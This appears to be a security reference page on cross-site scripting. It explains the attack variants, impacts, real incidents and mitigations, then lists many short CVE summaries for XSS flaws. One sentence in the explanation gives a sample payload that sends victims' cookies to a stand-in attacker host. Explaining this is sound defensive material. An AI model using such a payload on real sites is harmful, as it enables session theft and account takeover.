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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39223)

EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in SourceCodester Simple Cold Storage Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple Cold Storage Management System
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in SourceCodester Simple Cold Storage Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple Cold Storage Management System
NVD GitHub VulDB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in SourceCodester Simple Cold Storage Management System 1.0 and classified as problematic. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple Cold Storage Management System
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The WP Custom Cursors WordPress plugin before 3.0.1 does not have CSRF check in place when creating and editing cursors, which could allow attackers to made a logged in admin perform such actions via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS WordPress +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The We’re Open!. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress We Re Open
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Meks Easy Social Share WordPress plugin before 1.2.8 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Meks Easy Social Share
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Tutor LMS WordPress plugin before 2.0.10 does not escape some course parameters, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Tutor Lms
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability classified as problematic was found in SourceCodester Sanitization Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Sanitization Management System
NVD VulDB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A vulnerability classified as problematic has been found in SourceCodester Sanitization Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sanitization Management System
NVD GitHub VulDB
EPSS 10% CVSS 5.4
MEDIUM PATCH This Month

Adobe Commerce versions 2.4.4-p1 (and earlier) and 2.4.5 (and earlier) are affected by a Stored Cross-site Scripting vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

RCE XSS Adobe +2
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Online Birth Certificate Management System version 1.0 suffers from a Cross Site Scripting (XSS) Vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Online Birth Certificate Management System
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Online Birth Certificate Management System version 1.0 suffers from a persistent Cross Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Online Birth Certificate Management System
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Online Examination System version 1.0 suffers from a cross site scripting vulnerability via index.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Online Examination System
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository barrykooij/related-posts-for-wp prior to 2.1.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Related Posts
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in SourceCodester Sanitization Management System. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sanitization Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in SourceCodester Purchase Order Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Purchase Order Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in Human Resource Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Human Resource Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability was found in SourceCodester Human Resource Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Human Resource Management System
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Knowage is an open source suite for modern business analytics alternative over big data systems. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Knowage
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in MQTTRoute v3.3 and below allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the dashboard name text field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mqttroute
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Boodskap IoT Platform v4.4.9-02 contains a cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Iot Platform
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities in ResIOT IOT Platform + LoRaWAN Network Server through 4.1.1000114 via the form fields. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Iot Platform And Lorawan Network Server
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in SourceCodester Human Resource Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Human Resource Management System
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

RPCMS v3.0.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in the Search function. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Rpcms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A Cross-site scripting (XSS) vulnerability in the Blog module - add new topic functionality in Liferay Digital Experience Platform 7.3.10 SP3 allows remote attackers to inject arbitrary JS script or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dxp Liferay Portal
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

In Zimbra Collaboration Suite (ZCS) 8.8.15, at the URL /h/calendar, one can trigger XSS by adding JavaScript code to the view parameter and changing the value of the uncheck parameter to a string. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Collaboration
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

In Zimbra Collaboration Suite (ZCS) 8.8.15, /h/search?action=voicemail&action=listen accepts a phone parameter that is vulnerable to Reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Collaboration
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

In Zimbra Collaboration Suite (ZCS) 8.8.15, the URL at /h/compose accepts an attachUrl parameter that is vulnerable to Reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Collaboration
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) 9.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Information Disclosure XSS Collaboration
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A reflected XSS vulnerability exists in REDCap before 12.04.18 in the Alerts & Notifications upload feature. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Redcap
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability classified as problematic has been found in puppyCMS up to 5.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Puppycms
NVD VulDB
EPSS 1% CVSS 9.6
CRITICAL Act Now

In Progress WhatsUp Gold before 22.1.0, an SNMP MIB Walker application endpoint failed to adequately sanitize malicious input. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE XSS Whatsup Gold
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

mxGraph v4.2.2 was discovered to contain a cross-site scripting (XSS) vulnerability via the setTooltips() function. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mxgraph
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

SAP BusinessObjects Business Intelligence platform (Analysis for OLAP) - versions 420, 430, allows an authenticated attacker to send user-controlled inputs when OLAP connections are created and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Business Intelligence
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP BusinessObjects BI LaunchPad - versions 420, 430, is susceptible to script execution attack by an unauthenticated attacker due to improper sanitization of the user inputs while interacting on the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Business Intelligence
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The application SAP Enable Now does not sufficiently encode user-controlled inputs over the network before it is placed in the output being served to other users, thereby expanding the attack scope,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Enable Now
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

SAP Data Services Management allows an attacker to copy the data from a request and echoed into the application's immediate response, it will lead to a Cross-Site Scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Data Services
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Flatpress
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A Stored XSS issue in Merchandise Online Store v.1.0 allows to injection of Arbitrary JavaScript in edit account form. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Merchandise Online Store
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A Stored XSS issue in Student Clearance System v.1.0 allows the injection of arbitrary JavaScript in the Student registration form. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Student Clearance System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability was found in SourceCodester Book Store Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS PHP Book Store Management System
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability was found in SourceCodester Book Store Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS PHP Book Store Management System
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Metro UI v4.4.0 to v4.5.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Javascript function. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Metro Ui
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability FontMeister plugin <= 1.08 at WordPress. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Fontmeister
NVD
EPSS 58% CVSS 9.0
CRITICAL POC THREAT Act Now

In Gogs, versions v0.6.5 through v0.12.10 are vulnerable to Stored Cross-Site Scripting (XSS) that leads to an account takeover. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gogs
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability has been identified in SCALANCE X200-4P IRT (All versions < V5.5.0), SCALANCE X201-3P IRT (All versions < V5.5.0), SCALANCE X201-3P IRT PRO (All versions < V5.5.0), SCALANCE X202-2IRT. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Siemens Scalance X200 4P Irt Firmware +29
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A vulnerability has been identified in Desigo PXM30-1 (All versions < V02.20.126.11-41), Desigo PXM30.E (All versions < V02.20.126.11-41), Desigo PXM40-1 (All versions < V02.20.126.11-41), Desigo. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Desigo Pxm30 1 Firmware Desigo Pxm30 E Firmware +8
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Advanced Comment Form WordPress plugin before 1.2.1 does not sanitise and escape its settings, allowing high privilege users such as admin to perform cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Advanced Comment Form
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The soledad WordPress theme before 8.2.5 does not sanitise the {id,datafilter[type],...} parameters in its penci_more_slist_post_ajax AJAX action, leading to a Reflected Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Soledad
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Simple File List WordPress plugin before 4.4.12 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Simple File List
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Taskbuilder WordPress plugin before 1.0.8 does not validate and sanitise task's attachments, which could allow any authenticated user (such as subscriber) creating a task to perform Stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Taskbuilder
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Social Rocket WordPress plugin before 1.3.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Social Rocket
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Slider, Gallery, and Carousel by MetaSlider WordPress plugin before 3.27.9 does not sanitise and escape some of its Gallery Image parameters, which could allow high privilege users such as admin. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Slider Gallery And Carousel
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Top Bar WordPress plugin before 3.0.4 does not sanitise and escape some of its settings before outputting them in frontend pages, which could allow high privilege users such as admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Top Bar
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The reSmush.it WordPress plugin before 0.4.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Resmush It Image Optimizer
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Crealogix EBICS 7.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ebics Server
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in SourceCodester Web-Based Student Clearance System. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Web Based Student Clearance System
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

PicUploader v2.6.3 was discovered to contain cross-site scripting (XSS) vulnerability via the setStorageParams function in SettingController.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Picuploader
NVD GitHub VulDB
EPSS 4% CVSS 5.4
MEDIUM POC PATCH This Month

ZoneMinder is a free, open source Closed-circuit television software application The file parameter is vulnerable to a cross site scripting vulnerability (XSS) by backing out of the current "tr" "td". Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Zoneminder
NVD GitHub Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in TotalJS commit 8c2c8909 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Website name text field under. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Total Js
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the Aruba InstantOS and ArubaOS 10 web management interface could allow a remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Aruba XSS Arubaos +2
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability in the Aruba InstantOS and ArubaOS 10 web management interface could allow an unauthenticated remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Aruba XSS Arubaos +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

discourse-chat is a plugin for the Discourse message board which adds chat functionality. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Discourse Chat
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository yetiforcecompany/yetiforcecrm prior to 6.4.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Yetiforce Customer Relationship Management
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Centreon 22.04.0 allows attackers to execute arbitrary web script or HTML via a crafted payload injected into the Service>Templates service_alias. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Centreon
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

DiscoTOC is a Discourse theme component that generates a table of contents for topics. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Discotoc
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

IBM Robotic Process Automation 21.0.1, 21.0.2, and 21.0.3 for Cloud Pak is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Robotic Process Automation For Cloud Pak
NVD
EPSS 1%
PATCH This Week

In Zinc, versions v0.1.9 through v0.3.1 are vulnerable to Stored Cross-Site Scripting when using the delete template functionality. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Zinc
NVD GitHub
EPSS 1%
PATCH This Week

In Zinc, versions v0.1.9 through v0.3.1 are vulnerable to Stored Cross-Site Scripting when using the delete user functionality. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Zinc
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

IBM Robotic Process Automation 21.0.0 could allow a remote attacker to hijack the clicking action of the victim. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

IBM XSS Robotic Process Automation +1
NVD
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

pfSense v2.5.2 was discovered to contain a cross-site scripting (XSS) vulnerability in the browser.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Pfsense
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Goolytics WordPress plugin before 1.1.2 does not sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Goolytics
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Donation Thermometer WordPress plugin before 2.1.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Donation Thermometer
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Zephyr Project Manager WordPress plugin before 3.2.55 does not have any authorisation as well as CSRF in all its AJAX actions, allowing unauthenticated users to call them either directly or via. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS WordPress +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WP Socializer WordPress plugin before 7.3 does not sanitise and escape some of its Icons settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Wp Socializer
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The DSGVO All in one for WP WordPress plugin before 4.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Dsgvo All In One For Wp
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In OrchardCore rc1-11259 to v1.2.2 vulnerable to HTML injection, allow an authenticated user with an editor security role to inject a persistent HTML modal dialog component into the dashboard that. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Orchardcore
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Bus Pass Management System v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the searchdata parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Bus Pass Management System
NVD GitHub Exploit-DB VulDB
EPSS 1% CVSS 7.1
HIGH PATCH This Week

Recursive rendering of Mustache template helpers containing user input could, in some cases, result in an XSS risk or a page failing to load. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle Extra Packages For Enterprise Linux +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Insufficient sanitization of inputs in QoE application input field could lead to stored and Dom based XSS attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Solarwinds Platform
NVD
EPSS 37% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager versions 6.5.13.0 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Adobe Experience Manager
NVD
EPSS 45% CVSS 5.4
MEDIUM This Month

Pulse Secure version 9.115 and below may be susceptible to client-side http request smuggling, When the application receives a POST request, it ignores the request's Content-Length header and leaves. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Ivanti Request Smuggling XSS +2
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in Canon Medical Vitrea View 7.x before 7.7.6 allow remote attackers to inject arbitrary web script or HTML via (1) the input after the error. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Medical Vitrea View
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

DGIOT Lightweight industrial IoT v4.5.4 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dgiot
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

kkFileView v4.1.0 is vulnerable to Cross Site Scripting (XSS) via the parameter 'errorMsg.'. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Kkfileview
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

dutchcoders Transfer.sh 1.4.0 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Transfer Sh
